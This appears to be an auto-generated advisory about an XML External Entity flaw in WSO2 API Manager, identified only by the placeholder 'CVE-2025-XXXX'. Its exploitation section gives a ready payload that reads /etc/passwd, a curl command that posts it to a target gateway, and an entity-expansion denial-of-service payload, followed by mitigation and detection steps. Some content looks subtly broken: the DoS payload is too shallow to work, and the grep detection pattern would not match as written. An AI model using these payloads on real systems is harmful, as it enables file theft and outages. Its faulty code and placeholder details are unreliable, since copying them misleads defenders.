WSO2 API Manager, XML External Entity (XXE), CVE-2025-XXXX (Critical)

How the CVE Works:

The CVE-2025-XXXX vulnerability in WSO2 API Manager arises due to improper handling of XML input in the gateway component. Attackers can craft malicious XML requests containing external entity references (XXE) and send them via manipulated URL paths. When the server processes these requests, it resolves external entities, allowing unauthorized access to local files or triggering DoS attacks. On JDK 7 or early JDK 8, attackers can exfiltrate entire files, while later JDK versions restrict exposure to the first line. Additionally, “Billion Laughs” payloads can exploit recursive entity expansions, consuming excessive resources and crashing the service.

DailyCVE Form:

Platform: WSO2 API Manager
Version: 4.2.0 and prior
Vulnerability: XXE Injection
Severity: Critical
Date: May 5, 2025

What Undercode Say:

Exploitation:

Craft a malicious XML payload with external entities:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

2. Send via HTTP request to vulnerable endpoint:

curl -X POST -H "Content-Type: text/xml" --data-binary "@payload.xml" http://target:8280/gateway

3. For DoS, use nested entities:

<!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">]>
<lolz>&lol2;</lolz>

Mitigation:

1. Disable external entities in XML parsers:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

2. Patch WSO2 API Manager to the latest version.
3. Use JDK 8u191+ or JDK 11+ for partial mitigation.
4. Implement input validation and WAF rules to block XXE patterns.

Detection:

1. Scan logs for unusual XML requests:

grep -r "DOCTYPE|ENTITY" /var/log/wso2/